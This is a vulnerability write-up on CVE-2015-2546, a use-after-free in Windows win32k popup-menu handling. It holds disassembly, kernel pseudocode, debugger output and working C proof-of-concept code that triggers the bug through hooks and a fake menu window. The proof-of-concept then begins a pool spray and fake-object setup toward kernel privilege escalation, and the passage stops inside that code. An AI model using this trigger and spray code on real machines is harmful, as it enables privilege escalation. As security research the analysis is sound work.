This article will analyze a UAF vulnerability in win32k Window Manager (User) Subsystem in Windows: CVE-2015-2546. Similar to CVE-2017-0263 analyzed in the previous article, this vulnerability is use-after-free of popup menu tagPOPUPMENU object as well. The analyzing environment is Windows 7 x86 SP1 basic virtual machine.

0x0 Abstract

This article analyzes the CVE-2015-2546 UAF vulnerability occurring in the Menu Management Component of Window Manager (User) Subsystem. During sending MN_SELECTITEM message to target menu window object by calling xxxSendMessage in kernel function xxxMNMouseMove, the execution flow has the possibility of a user callback. After the call that sends the message returning, function xxxMNMouseMove uses the address of the target popup menu object held by register edx, which was stored before sending MN_SELECTITEM message, instead of retrieving the address of the popup menu tagPOPUPMENU object associated with the target menu window object from the extra area. Then the function passes the address as the parameter to function xxxMNHideNextHierarchy, in which the target popup menu object would be accessed.

If the user process has previously constructed menu window objects with special associations and properties through exploiting techniques, and set specific hook procedures, during the time when sending MN_SELECTITEM message to target menu window object by calling xxxSendMessage, the execution flow will go back into user context. The exploitation code in the user process would have enough ability to trigger the destroy of target menu window object, so that the associated popup menu object would be freed directly in the kernel; when the execution flow returns to the kernel context, the memory address held by register ebx has been freed. However, there is a lack of necessary validation before passing the address as a parameter to function xxxMNHideNextHierarchy, which causes the UAF vulnerability.

After triggering the destroy of target menu window object, through accurate memory layout, exploitation code lets system reallocate a memory block of the same size to occupy the memory area previously freed, in order to fake the new root popup menu object and to fill related fields. The exploitation code fakes a new submenu window object and associated message procedure in user mode address space, and stores the address of the window object into field spwndNextPopup of the reallocated popup menu object. function xxxMNHideNextHierarchy will send MN_SELECTITEM message to the submenu window object pointed to by field spwndNextPopup of the target popup menu object in the kernel, which makes the execution flow enter the fake message procedure which defined in user mode address space in the kernel directly and execute the kernel exploiting code in the function to achieve kernel exploitation and elevation of privilege.

0x1 Principle

CVE-2015-2546 occurs in kernel function win32k!xxxMNMouseMove. during the execution of this function, after sending 0x1F0(MN_SETTIMERTOOPENHIERARCHY) message to target menu window object, if the returned value is 0, the system would call function xxxMNHideNextHierarchy and pass the address of target popup menu tagPOPUPMENU object held by register ebx as parameter popupMenu without any validation.

.text:00139530    push    edi             ; lParam
.text:00139531    push    edi             ; wParam
.text:00139532    push    1F0h            ; message
.text:00139537    push    esi             ; pwnd
.text:00139538    call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:0013953D    test    eax, eax
.text:0013953F    jnz     short loc_139583
.text:00139541    push    ebx             ; popupMenu
.text:00139542    call    _xxxMNHideNextHierarchy@4 ; xxxMNHideNextHierarchy(x)
.text:00139547    jmp     short loc_139583

Target snippet of vulnerability

By contrasting with the patch, it is discovered that the patch added a judgement to the pointer to associated popup menu object of the target menu window object and the value of register ebx between the statements which sending MN_SETTIMERTOOPENHIERARCHY message by calling function xxxSendMessage and calling function xxxMNHideNextHierarchy.

.text:BF93EC2E    push    edi             ; lParam
.text:BF93EC2F    push    edi             ; wParam
.text:BF93EC30    push    1F0h            ; message
.text:BF93EC35    push    esi             ; pwnd
.text:BF93EC36    call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF93EC3B    test    eax, eax
.text:BF93EC3D    jnz     short loc_BF93EC8C
.text:BF93EC3F    mov     eax, [ebp+pwnd]
.text:BF93EC42    cmp     [eax+0B0h], ebx
.text:BF93EC48    jnz     short loc_BF93EC8C
.text:BF93EC4A    push    ebx
.text:BF93EC4B    call    _xxxMNHideNextHierarchy@4 ; xxxMNHideNextHierarchy(x)
.text:BF93EC50    jmp     short loc_BF93EC8C

Target snippet of the patch

In Windows kernel, the displaying of menu objects is accomplished through the special type of window tagWND object - #32768(MENUCLASS) classed menu window object, whose extra area holds the pointer to associated popup menu tagPOPUPMENU object.


The relation between tagMENUWND and tagPOPUPMENU

When function xxxSendMessage sending MN_SETTIMERTOOPENHIERARCHY message, the system receives the message and calls function MNSetTimerToOpenHierarchy to process the message and returns to the caller with the returned value of this function at the end.

When the execution flow returns to function xxxMNMouseMove, the system judges the returned value. If the value is 0, function xxxMNHideNextHierarchy would be called to close any submenu coming off of target popup menu object.

Since there is a calling statement of xxxSendMessage to send MN_SETTIMERTOOPENHIERARCHY message before calling function xxxMNHideNextHierarchy, it would be caused that the execution calls back into the user process. Therefore, during this time, attackers can trigger the logic to free or reallocate the memory of the target popup menu object in the user process, which causes the target memory area pointed to by parameter popupMenu to hold uncontrollable data. If the attacking code deliberately constructs the data in the memory block reallocated in the original position, the execution flow in kernel context would possibly enter the exploiatation code located in the user process address space directly when sending message to the submenu window object in function xxxMNHideNextHierarchy.

0x2 Tracing

In win32k kernel module, there are two calling statements of function xxxMNMouseMove from other functions:

  • xxxHandleMenuMessages(x,x,x)+2E9
  • xxxMenuWindowProc(x,x,x,x)+D1C

One of them is during handling WM_MOUSEMOVE or WM_NCMOUSEMOVE message in function xxxHandleMenuMessages, and the other one is during handling MN_MOUSEMOVE message in function xxxMenuWindowProc.

Set a breakpoint via WinDBG for function xxxMNMouseMove and right click mouse on the desktop area in virtual machine to popup a context menu, then observe the system will call the function by which way under natural conditions, and obtain the stacktrace as below:

 # ChildEBP RetAddr
00 98af4a90 94779066 win32k!xxxMNMouseMove
01 98af4aec 94778c1f win32k!xxxHandleMenuMessages+0x2ed
02 98af4b38 9477f8f1 win32k!xxxMNLoop+0x2c6
03 98af4ba0 9477f9dc win32k!xxxTrackPopupMenuEx+0x5cd
04 98af4c14 83e501ea win32k!NtUserTrackPopupMenuEx+0xc3
05 98af4c14 76e170b4 nt!KiFastCallEntry+0x12a

Natural stacktrace of function xxxMNMouseMove


xxxMNMouseMove

Function xxxMNMouseMove is used to handle a mouse move to the given point. At the beginning of function xxxMNMouseMove, the function judges whether the popup menu tagPOPUPMENU object from parameters is the current root popup menu object, the judges whether the incoming mouse coordinates do change compared to the coordinates previously stored in the current menu state structure. If the condition is not met, function returns directly. Then the function calls function xxxMNFindWindowFromPoint and passes the pointer to target popup menu object and the new coordinates as parameters, in order to find the window where the coordinate point is located on the screen. If the returned value is the address of a real menu window object, the function takes the window object as the target window object, and passes the number of the menu item where the mouse coordinate point is located on as parameter wParam to send 0x1E5(MN_SELECTITEM) message to target window object to perform the operation of selecting menu items, then receives the returned value as the feedback flag variable.

Before sending MN_SETTIMERTOOPENHIERARCHY message, function xxxMNMouseMove judges the value of the feedback flag variable, to make sure that the pointed menu item is associated with an other popup menu (MF_POPUP) as submenu, and is not disabled (MFS_GRAYED).

.text:00139517    xor     edi, edi
.text:00139519    push    edi             ; lParam
.text:0013951A    push    [ebp+cmdItem]   ; wParam
.text:0013951D    push    1E5h            ; message
.text:00139522    push    esi             ; pwnd
.text:00139523    call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:00139528    test    al, 10h         ; MF_POPUP
.text:0013952A    jz      short loc_139583
.text:0013952C    test    al, 3           ; MFS_GRAYED
.text:0013952E    jnz     short loc_139583

Function judges value of feedback flag variable

Then the function sends MN_SETTIMERTOOPENHIERARCHY message to target menu window object by calling function xxxSendMessage to set the timer to open the popup submenu. It means failure of the popup operation if the returned value is zero, then the function calls xxxMNHideNextHierarchy to close any submenu coming off of this popup.

  popupNext = popupMenu->spwndNextPopup;
  if ( popupNext )
  {
    [...]
    popupNext = popupMenu->spwndNextPopup;
    if ( popupNext != popupMenu->spwndActivePopup )
      xxxSendMessage(popupNext, 0x1E4, 0, 0); // MN_CLOSEHIERARCHY
    xxxSendMessage(popupMenu->spwndNextPopup, 0x1E5, 0xFFFFFFFF, 0); // MN_SELECTITEM
    [...]
  }

Snippet of function xxxMNHideNextHierarchy

Function xxxMNHideNextHierarchy judges whether the menu window object pointed to by field spwndNextPopup of target popup menu object equals to the one pointed to by field spwndActivePopup. Fields spwndNextPopup points to the menu window object of the submenu directly associated with current popup menu object, while field spwndActivePopup is used to store the currently most active (where the focus of mouse or keyboard lies) menu window object. If different, the function send MN_CLOSEHIERARCHY to the submenu window object pointed to by field spwndNextPopup.

Then the function calls xxxSendMessage to send MN_SELECTITEM message to the submenu window object and passes 0xFFFFFFFF as parameter wParam which represents selecting no item, and finally the message procedure calls function xxxMNSelectItem to deal with the selecting task.


Brief execution logic of function xxxMNMouseMove

As mentioned above, before calling function xxxSendMessage to send message to the submenu window object pointed to by field spwndNextPopup, function xxxMNHideNextHierarchy lacks the validation of target popup menu object and the submenu window object passed as parameter.


xxxMNFindWindowFromPoint

Popup menu and its popup submenu are associated via field spwndNextPopup and spwndPrevPopup of popup menu objects.


Relation between popup menu and popup submenu

As the function name prefix xxx means, there is code logic to call back into user context in function xxxMNFindWindowFromPoint. The function judges whether field spwndNextPopup of the popup menu tagPOPUPMENU object pointed to by the first parameter points to an existing submenu window object. If so, the function calls xxxSendMessage to send MN_FINDMENUWINDOWFROMPOINT message to the submenu window object to delegate the task to find the menu window object where the coordinate point is located on to the submenu window object temporarily.

*puIndex = 0;
pwndNextPopup = popupMenu->spwndNextPopup;
if ( pwndNextPopup )
{
  tlpwndT = gptiCurrent->ptl;
  gptiCurrent->ptl = (_TL *)&tlpwndT;
  v24 = pwndNextPopup;
  ++pwndNextPopup->head.cLockObj;
  longHit = xxxSendMessage(
         popupMenu->spwndNextPopup,
         0x1EB, // MN_FINDMENUWINDOWFROMPOINT
         (WPARAM)&itemHit,
         (unsigned __int16)screenPt | (screenPt >> 16 << 16));
  ThreadUnlock1();
  if ( IsMFMWFPWindow(longHit) )
    longHit = HMValidateHandleNoSecure((HWND)longHit, 1);
  if ( longHit )
  {
    *puIndex = itemHit;
    return longHit;
  }
}

Snippet of function xxxMNFindWindowFromPoint

When sending message to window object in function xxxSendMessageTimeout, before calling the object-specified message procedure, the system calls xxxCallHook function to dispatch the WH_CALLWNDPROC hook procedures defined previously by user processes as well. This type of hook procedure is invoked before the system sending messages to the target window object.

if ( (LOBYTE(gptiCurrent->fsHooks) | LOBYTE(gptiCurrent->pDeskInfo->fsHooks)) & 0x20 )
{
  v22 = pwnd->head.h;
  v20 = wParam;
  v19 = lParam;
  v21 = message;
  v23 = 0;
  xxxCallHook(0, 0, &v19, 4); // WH_CALLWNDPROC
}

Function xxxSendMessageTimeout calls xxxCallHook

Finally in function xxxMenuWindowProc the system receives and deals with MN_FINDMENUWINDOWFROMPOINT message, then passes the popup menu object of the submenu window object as the parameter and continues to call xxxMNFindWindowFromPoint function.

case 0x1EBu:
  pwnd = xxxMNFindWindowFromPoint(popupMenu, wParam, lprc);
  if ( IsMFMWFPWindow(pwnd) )
  {
    if ( !pwnd )
      return 0;
    lRet = (LRESULT)*pwnd; // pwnd->head.h
  }
  else
  {
    lRet = pwnd;
  }
  return lRet;

Function deals with MN_FINDMENUWINDOWFROMPOINT message

Function xxxSendMessage returns to caller function xxxMNFindWindowFromPoint with the user handle of the window object where the coordinate point is located found through the submenu window object. Then the function converts this handle to the object pointer. If the pointer points to a real menu window object, the function returns with this pointer as the returned value. However, if field spwndNextPopup of target menu window object doesn't point to a submenu window object, or function xxxSendMessage returns with values such as 0xFFFFFFFB or 0xFFFFFFFF which means window object not found, the function would continue executing downward, and perform the lookup task according to the current menu window object that is pointed to by field spwndPopupMenu of the popup menu object instead.


Brief execution flow of function xxxMNFindWindowFromPoint


xxxMNDestroyHandler

During the time calling function xxxDestroyWindow to destroy specific menu window object in the kernel, the system calls corresponding message wrap procedure xxxWrapMenuWindowProc in function xxxFreeWindow and passes WM_FINALDESTROY message as parameter according to the value of field fnid of target window object, and finally function xxxMenuWindowProc receives this message and performs the task of cleaning up releted data for the target popup menu object.

.text:0008D9B6    lea     ecx, [eax+6]
.text:0008D9B9    xor     eax, eax
.text:0008D9BB    push    eax
.text:0008D9BC    push    eax
.text:0008D9BD    push    eax
.text:0008D9BE    mov     eax, _gpsi
.text:0008D9C3    push    70h        ; WM_FINALDESTROY
.text:0008D9C5    and     ecx, 1Fh
.text:0008D9C8    push    esi
.text:0008D9C9    call    dword ptr [eax+ecx*4+8]

Function xxxFreeWindow calls message wrap procedure

At the end of function xxxMNDestroyHandler, the system zeros the pointer to the associated popup menu in the extra area of target menu window tagWND object; then judges whether member flag bit fDelayedFree of target popup menu object, according which it is determined to delay the freeing of target popup menu object to when the whole menu ending, or to free target popup menu object immediately.

pwnd = popupMenu->spwndPopupMenu;
*(_DWORD *)popupMenu |= 0x8000u; // fDestroyed
if ( pwnd )
  *(_DWORD *)(pwnd + 0xB0) = 0;  // Pointer to popupMenu
if ( *((_BYTE *)popupMenu + 2) & 1 ) // fDelayedFree
{
  popupmenuRoot = popupMenu->ppopupmenuRoot;
  if ( popupmenuRoot )
    *(_DWORD *)popupmenuRoot |= 0x20000u; // ppopupmenuRoot->fFlushDelayedFree
}
else
{
  MNFreePopup(popupMenu);
}

Snipped of function xxxMNDestroyHandler

When a context popup menu object is created in the kernel through a formal path, both field fDelayedFree of root popup menu object and of sub popup menu object would be set in function xxxTrackPopupMenuEx or xxxMNOpenHierarchy by default.


In addition, more system mechanisms related to the vulnerability in this analysis are more detailed in my previous analysis FROM ANALYZING CVE-2017-0263 TO INVESTIGATING MENU MANAGEMENT COMPONENT, if you are interested, please click the link.

0x3 Triggering

By right-clicking on the desktop, and pointing the mouse pointer to a submenu item (like the "new" command) which as the entry of a submenu, trying to make the execution flow reach the location of the vulnerability, I find I can't make it. It is because that the function always executes successfully every time the system sending MN_SETTIMERTOOPENHIERARCHY message to target menu window object, so that the calling statement of xxxMNHideNextHierarchy where the vulnerability is located on would never be reached. Therefore, we need to construct own proof code to implement the vulnerability trigger.

Here are the trigger ideas:


#1 Let MN_SETTIMERTOOPENHIERARCHY Message Return Failure

During the execution of function xxxMNMouseMove, in order to make the call of function xxxSendMessage sending MN_SETTIMERTOOPENHIERARCHY return failure value, the most straightforward way is to modify the message procedure of the target menu window object to a custom message procedure in the user process at some point before the calling statement, and to return failure value for this message in the custom message procedure.


#2 Free Target Popup Menu Object

In order to trigger use-after-free (UAF) in the location of the vulnerability, it is necessary to perform the freeing of the target popup menu tagPOPUPMENU object in due course, which is best to be done during sending MN_SETTIMERTOOPENHIERARCHY message through function xxxSendMessage.

As mentioned earlier, before calling the object-specified message procedure in sending message, the system would calls xxxCallHook function to dispatch WH_CALLWNDPROC classed hook procedure previously defined by the user process. Therefore, we can trigger the destroy of target window object by setting this kind of hook procedure and calling function DestroyWindow for target menu window object in the hook procedure.

When calling DestroyWindow function, the execution flow would enter function xxxDestroyWindow in the kernel to perform the destroy operation to target menu window object. Finally in kernel function xxxMNDestroyHandler, if member flag bit fDelayedFree of target menu window object is unset, the system would call function MNFreePopup to free target popup menu object immediately.


Idea of freeing target popup menu object

However, when a context popup menu object is being created in the kernel through a formal path, field fDelayedFree of the root or sub popup menu object would be set in function xxxTrackPopupMenuEx or xxxMNOpenHierarchy. So it is necessary to create an independent #32768(MENUCLASS) classed window object to be the target exploited object, instead of creating one through a formal path. In this way, the newly created menu window object has an associated popup menu object pointed to by the pointer in its extra area but the field fDelayedFree of the popup menu tagPOPUPMENU object has not been set, so that the subsequent freeing operation in function xxxMNDestroyHandler would be performed immediately.


#3 Let xxxMNFindWindowFromPoint Return Target Window Object

Since the target exploited menu window object is independently created by us, it doesn't have a corresponding menu entity tagMENU object, in normal conditions function xxxMNFindWindowFromPoint would never returns the pointer to the target exploited object.

It is known from previous sections that function xxxMNFindWindowFromPoint judges whether field spwndNextPopup of the incoming popup menu object from parameters points to an existing submenu window object. If so, the function calls xxxSendMessage to send MN_FINDMENUWINDOWFROMPOINT message to the submenu window object to delegate the task to find the menu window object where the coordinate point is located on to the submenu window object temporarily.

In this way, the message procedure field of the submenu window object can be modified to the custom message procedure defined by the user process, in which the handle of the target exploited menu window object would be returned. As thus, function xxxMNFindWindowFromPoint will receive the handle of the real window object returned by xxxSendMessage, followed by translating it to the object pointer and returning.

Since the submenu window object is associated with a specific menu, many massages sent to it need to be processed in mesasge procedure xxxMenuWindowProc, it is necessary to replace the message procedure at a later time, which can be done by setting a WH_CALLWNDPROC classed hook procedure.


#4 Trigger Mouse Moving Message

In this way, it is needed to create interrelated root menu and submenu in exploitation code.

After the submenu being displayed on the screen, the root menu and submenu window objects has been associated via their own popup menu tagPOPUPMENU objects. At this moment, calling function SendMessage to send WM_MOUSEMOVE message to the root menu window object in the custom event notification procedure defined by the user process can make the system enter function xxxMNMouseMove in the kernel.


Implementation of Proof Code

In the next moment the concrete proof code will be implemented according to the ideas. Most of the code logic for the proof code is executed in the created separate thread.

Two menu objects with popup flag are created by calling function CreatePopupMenu in the major function of the proof code. The two objects are associated as well, one of which becomes the submenu of the other.

HMENU hMenuList[2] = { 0 };
hMenuList[0]  = CreatePopupMenu();
hMenuList[1]  = CreatePopupMenu();

MENUINFO mi = { 0 };
mi.cbSize  = sizeof(mi);
mi.fMask   = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuList[0], &mi);
SetMenuInfo(hMenuList[1], &mi);

LPCSTR szMenuItem = "item";
AppendMenuA(hMenuList[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuList[1], szMenuItem);
AppendMenuA(hMenuList[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);

Proof code of creating root menu and submenu objects

The display of menus needs to have a window that is used to host the menus as the owner window object of them. The normal window object is registered and created, whose handle is stored into global variable hWindowMain:

WNDCLASSEXW wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc    = DefWindowProcW;
wndClass.cbWndExtra     = 0;
wndClass.hInstance      = GetModuleHandleA(NULL);
wndClass.lpszMenuName   = NULL;
wndClass.lpszClassName  = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
    L"WNDCLASSMAIN",
    NULL,
    WS_VISIBLE,
    0,
    0,
    1,
    1,
    NULL,
    NULL,
    GetModuleHandleA(NULL),
    NULL);

Proof code of creating owner window object

Then the proof code creates the critical #32768 classed menu window object and stores the handle into hwndFakeMenu global variable, which will be used as the target exploited object. The message procedure field of this object is modified to the custom xxFakeMenuWindowProc message procedure defined by the proof code.

hwndFakeMenu = CreateWindowExW(WS_EX_TOOLWINDOW | WS_EX_DLGMODALFRAME | WS_EX_WINDOWEDGE,
    L"#32768",
    NULL,
    WS_POPUP | WS_BORDER,
    0,
    0,
    1,
    1,
    NULL,
    NULL,
    NULL,
    NULL);
SetWindowLongW(hwndFakeMenu, GWL_WNDPROC, (LONG)xxFakeMenuWindowProc);

Proof code of creating exploited menu window object

The next step is to create a WH_CALLWNDPROC classed hook procedure, and create an event notification procedure including EVENT_SYSTEM_MENUPOPUPSTART event.

SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
    GetModuleHandleA(NULL),
    GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
    GetModuleHandleA(NULL),
    xxWindowEventProc,
    GetCurrentProcessId(),
    GetCurrentThreadId(),
    0);

Proof code of creating custom hook procedure and event procedure

Function TrackPopupMenuEx is called to trigger the display of the first menu object as the root menu on the screen; then the functions such as GetMessage are used to make current thread enter the message loop state.

TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);

MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
    TranslateMessage(&msg);
    DispatchMessageW(&msg);
}

Proof code of triggering of the first menu object on the screen

During function TrackPopupMenuEx being called in the user process, the execution flow enters function xxxTrackPopupMenuEx to handle the popup operation in the kernel at the end. When the task execution completes, the function calls xxxWindowEvent to dispatch EVENT_SYSTEM_MENUPOPUPSTART classed event notification, which represents that target popup menu has been displayed on the screen.

After dispatching this event notification, the execution flow enters the custom event notification procedure xxWindowEventProc defined by us previously. In the procedure, we count the time of entry, and record the value of parameter hwnd every time it enters. At the first time the execution flow entering the procedure, it means the root popup menu has been displayed on the screen, then the procedure stores the window handle parameter into global varibale hwndRootMenu and calls function SendMessage to send WM_LBUTTONDOWN message to the root popup menu object with the relative coordinates as parameter lParam which should be in the submenu item area of the current menu, so that the execution flow would enter function xxxMNOpenHierarchy in the kernel to handle the display of submenu. Similar to before, when the task execution completes, the function calls xxxWindowEvent to dispatch EVENT_SYSTEM_MENUPOPUPSTART classed event notification, which represents that target popup menu has been displayed on the screen.

At the second time the execution flow entering the procedure, it means the sub popup menu has been displayed on the screen and the root and sub menu window objects have been associated via their own popup menu tagPOPUPMENU objects. The procedure stores the window handle parameter into global variable hwndHintMenu and calls function SendMessage to send WM_MOUSEMOVE message to the root menu window object hwndRootMenu stored at the first time, which makes the execution flow enter function xxxMNMouseMove in the kernel.

VOID CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{
    switch (iMenuCreated)
    {
    case 0:
        hwndRootMenu = hwnd;
        SendMessageW(hwndRootMenu, WM_LBUTTONDOWN, 0, 0x00050005);
        break;
    case 1:
        hwndHintMenu = hwnd;
        SendMessageW(hwndRootMenu, WM_MOUSEMOVE, 0, 0x00060006);
        break;
    }
    iMenuCreated++;
}

Event notification procedure of proof code

It should be noted that in the two times calling function SendMessage, parameter lParam of the function is the relative coordinates of the mouse, the high 16 bits and low 16 bits of the 32 bit data indicate respectively the relative positions of the horizontal and vertical coordinates. Parameter lParam in the two times can not be the same, otherwise it will cause function xxxMNMouseMove to return earlier.

During the execution of function xxxMNMouseMove, the system calls function xxxMNFindWindowFromPoint to find the window where the coordinate point is located on the screen. Since we have created and associated submenu object for the root menu and the submenu object has been displayed on the screen, at present field spwndNextPopup of the root popup menu object is pointing to the address of the submenu window object. Function xxxMNFindWindowFromPoint will send MN_FINDMENUWINDOWFROMPOINT message to the submenu window object. Before function xxxSendMessageTimeout calling the object-specified message procedure, the system calls xxxCallHook to dispatch WH_CALLWNDPROC classed hook procedures defined by the user process at first, which causes the execution flow enter the custom hook procedure xxWindowHookProc in the proof code.

In the custom hook procedure, parameter lParam points to a tagCWPSTRUCT typed object. The proof code judges the value of field message of the tagCWPSTRUCT object. It means that currently it is at the time before calling object-specified message procedure to deliver MN_FINDMENUWINDOWFROMPOINT message in function xxxSendMessageTimeout in the kernel if the value is 0x1EB.

The proof code determines whether the current target window object handle is the previously stored submenu window handle. If so, the message procedure field of the target window object will be modified to the custom xxHintMenuWindowProc message procedure.

LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    if (cwp->message == 0x1EB && cwp->hwnd == hwndHintMenu)
    {
        // MN_FINDMENUWINDOWFROMPOINT
        SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxHintMenuWindowProc);
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

Custom hook procedure of proof code

At the time the execution flow returning to function xxxSendMessageTimeout, the message procedure field has been modified to the custom procedure, so the execution flow will be called back into user context to implement the message delivery. Window object handle hwndFakeMenu will be returned directly in function xxHintMenuWindowProc.

LRESULT WINAPI
xxHintMenuWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    if (msg == 0x1EB)
    {
        return (LRESULT)hwndFakeMenu;
    }
    return DefWindowProc(hwnd, msg, wParam, lParam);
}

Submenu window object message procedure of proof code

In the kernel function xxxMNFindWindowFromPoint takes the returned value of function xxxSendMessage as the found window handle and translates it to the window object pointer, then returns the pointer to the caller function.

After performing a series of judgments and other statements, function xxxMNMouseMove calls xxxSendMessage to send MN_SELECTITEM message to the found target menu window object, which would cause the execution flow to enter the custom message procedure xxFakeMenuWindowProc of the exploited menu window object defined by the proof code.

In function xxFakeMenuWindowProc, the proof code judges the value of the message parameter. It means that MN_SELECTITEM message is being handled if the message is 0x1E5. Based on the code logic based of kernel functions, proof code will return MF_POPUP(0x00000010L) here.

After the judgement of the returned flag varibale, function xxxMNMouseMove calls xxxSendMessage to send MN_SETTIMERTOOPENHIERARCHY message to the target menu window object, which makes the execution flow enter the custom message procedure again.

In function xxFakeMenuWindowProc, if the message parameter is 0x1F0, the proof code will return 0 directly. The function in the kernel receives the 'failure' returned value, so it would call downwards function xxxMNHideNextHierarchy.

LRESULT WINAPI
xxFakeMenuWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    switch (msg)
    {
    case 0x1E5:
        return (LRESULT)MF_POPUP;
    case 0x1F0:
        return (LRESULT)0;
    }
    return DefWindowProc(hwnd, msg, wParam, lParam);
}

Exploited menu window object message procedure of proof code

Before calling the object-specified message procedure to deliver MN_SETTIMERTOOPENHIERARCHY message, function xxxSendMessageTimeout calls xxxCallHook to dispatch hook procedures as well. In the custom hook procedure xxWindowHookProc, the proof code adds the judgement of field message:

If the value of message is 0x1F0, the proof code calls DestroyWindow to trigger the destroy of the exploited hwndFakeMenu menu window object created previously.

if (cwp->message == 0x1F0)
{
    DestroyWindow(hwndFakeMenu);
}

Custom hook procedure adds judgement of message

At the moment function xxxDestroyWindow is called for the target menu window object in the kernel. During the execution, because of the unset member flag bit fDelayFree, the popup menu tagPOPUPMENU associated with target menu window object would be destroyed immediately, and the pointer in the extra area of the menu window object would be zeroed. With the nonzero lock count, target menu window object would still remain in the kernel, and would not be freed temporarily.

When the execution flow returning to function xxxMNMouseMove, target popup menu has been destroyed and freed, bug register ebx still holds the address of the freed popup menu object. Without any validation of the address, the function calls xxxMNHideNextHierarchy and passes the address as parameter, which causes the triggering of the use-after-free vulnerability.


Triggering of Use-After-Free

Take a breakpoint at the positon following the calling statement of function xxxSendMessage to send MN_SETTIMERTOOPENHIERARCHY message in function xxxMNMouseMove, then compile the proof code and run it in the testing environment. Observe the data when the breakpoint is hit, it would be discovered that the pointer in the extra area of target menu window object which originally pointed to the associated popup menu has been zeroed, and the memory block pointed to by register ebx is in a state of Free:

win32k!xxxMNMouseMove+0x14e:
9481953d 85c0            test    eax,eax
kd> r esi
esi=fe810050
kd> ?poi(esi+b0)
Evaluate expression: 0 = 00000000
kd> r ebx
ebx=ffb6e328
kd> !pool ffb6e328
Pool page ffb6e328 region is Paged session pool
 ffb6e000 size:  260 previous size:    0  (Allocated)  Gla5
 ffb6e260 size:   10 previous size:  260  (Allocated)  Glnk
 ffb6e270 size:   10 previous size:   10  (Allocated)  Glnk
 ffb6e280 size:   a0 previous size:   10  (Allocated)  Gla8
*ffb6e320 size:   40 previous size:   a0  (Free ) *Uspm Process: 85bc5338
         Pooltag Uspm : USERTAG_POPUPMENU, Binary : win32k!MNAllocPopup
 [...]

Memory block of target popup menu object is in a state of Free

In the next moment the execution flow enters function xxxMNHideNextHierarchy and passes the address of target popup menu object as parameter, and sends message to the submenu window object pointed to by field spwndNextPopup in this function. Since each field of the freed target popup menu object has been zeroed, the function would return directly after the value judgement, and would not cause a BSOD of system.

0x4 Exploitation

The trigger of the use-after-free is achieved in the previous section by writting the proof code. In the custom hook procedure of the proof code, destroy of exploited menu window object is triggered by calling function DestroyWindow, which causes the system to free the associated popup menu tagPOPUPMENU object of target menu window object directly in the kernel of which the address is still held by register ebx.

After function xxxSendMessage returns, without retrieving the pointer from the extra area of target menu window object and validating the address in the register, function xxxMNMouseMove passes the address as parameter into function xxxMNHideNextHierarchy. In function xxxMNHideNextHierarchy, the system accesses field spwndNextPopup of the incoming target popup menu object which is in a state of Free at the moment, which results in the use-after-free.


Reoccupation of the Memory Area

The next step is to achieve the exploiation and elevation of privilege of this vulnerability by reallocating new memory block at the position where the original popup menu is located and filling specific data. Similar to the case when analyzing CVE-2017-0263, it would be realized by creating common window objects in batch and setting menu name of window class.


Setting menu name of window class to occupy memory area

Register 256 window classes with random class name to avoid duplication in the exploitation code, and create a common window class via each window class.

for (INT i = 0; i < 0x100; i++)
{
    WNDCLASSEXW Class      = { 0 };
    WCHAR       szTemp[20] = { 0 };
    HWND        hwnd       = NULL;
    wsprintfW(szTemp, L"%x-%d", rand(), i);
    Class.cbSize        = sizeof(WNDCLASSEXA);
    Class.lpfnWndProc   = DefWindowProcW;
    Class.cbWndExtra    = 0;
    Class.hInstance     = GetModuleHandleA(NULL);
    Class.lpszMenuName  = NULL;
    Class.lpszClassName = szTemp;
    RegisterClassExW(&Class);
    hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
        0,
        0,
        0,
        0,
        NULL,
        NULL,
        GetModuleHandleA(NULL),
        NULL);
    hWindowList[iWindowCount++] = hwnd;
}

Exploitation code registers and creates common window objects in batch

Then add the statements of setting menu name of window class for each window object created just now in the case that message is 0x1F0 in the custom hook procedure xxWindowHookProc:

DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0xdddddddd;  //->flags
dwPopupFake[0x1] = (DWORD)0xdddddddd;  //->spwndNotify
dwPopupFake[0x2] = (DWORD)0xdddddddd;  //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)0xdddddddd;  //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)0xdddddddd;  //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)0xdddddddd;  //->spmenu
dwPopupFake[0x6] = (DWORD)0xdddddddd;  //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)0xdddddddd;  //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xdddddddd;  //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)0xdddddddd;  //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xdddddddd;  //->posSelectedItem
